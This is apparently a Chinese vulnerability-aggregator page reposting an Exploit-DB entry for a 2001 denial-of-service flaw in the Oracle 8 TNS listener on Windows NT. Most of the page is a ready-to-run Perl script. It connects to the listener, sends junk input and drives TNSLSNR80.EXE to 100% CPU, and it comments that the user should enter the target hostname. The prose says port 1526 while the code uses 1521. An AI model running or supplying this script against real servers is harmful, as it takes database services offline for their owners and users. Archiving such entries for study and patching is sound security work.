Oracle 8 Server – ‘TNSLSNR80.EXE’ Denial of Service

21次阅读
没有评论

Oracle 8 Server – ‘TNSLSNR80.EXE’ Denial of Service

漏洞ID 1053529 漏洞类型
发布时间 2001-04-18 更新时间 2001-04-18
Oracle 8 Server - 'TNSLSNR80.EXE' Denial of ServiceCVE编号 N/A
Oracle 8 Server - 'TNSLSNR80.EXE' Denial of ServiceCNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/20779
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/2626/info

A denial of service vulnerability exists in Oracle 8. An attacker connecting to port 1526 and sending invalid input will cause the 'TNSLSNR80.EXE' process to consume all available system resources, causing the server to stop responding.

#!/usr/local/bin/perl -w

# This little script crashes Oracle 8.0 on Windows NT 4.0 (Sp6)
# TNSLSNR80.EXE will consume 100% CPU...
#
# by [email protected]

use IO::Socket;

$host="kickme";
# enter the hostname of the oracle-server to kick

socket(HANDLE, PF_INET, SOCK_STREAM, 6);
connect(HANDLE, sockaddr_in(1521, scalar gethostbyname($host)));
HANDLE->autoflush(1);

sleep(2);
print HANDLE "n";
for ($i=0; $i<3; $i++) {
        sleep(2);
        print HANDLE "dfsdffdfsfdggfdgdf";
        # an arbitrary, but carefully chosen constant...
}

close(HANDLE);

相关推荐: Linux IP Fragment Overlap Vulnerability

Linux IP Fragment Overlap Vulnerability 漏洞ID 1104973 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 1998-04-17 更新时间 1998-04-17…

正文完
 0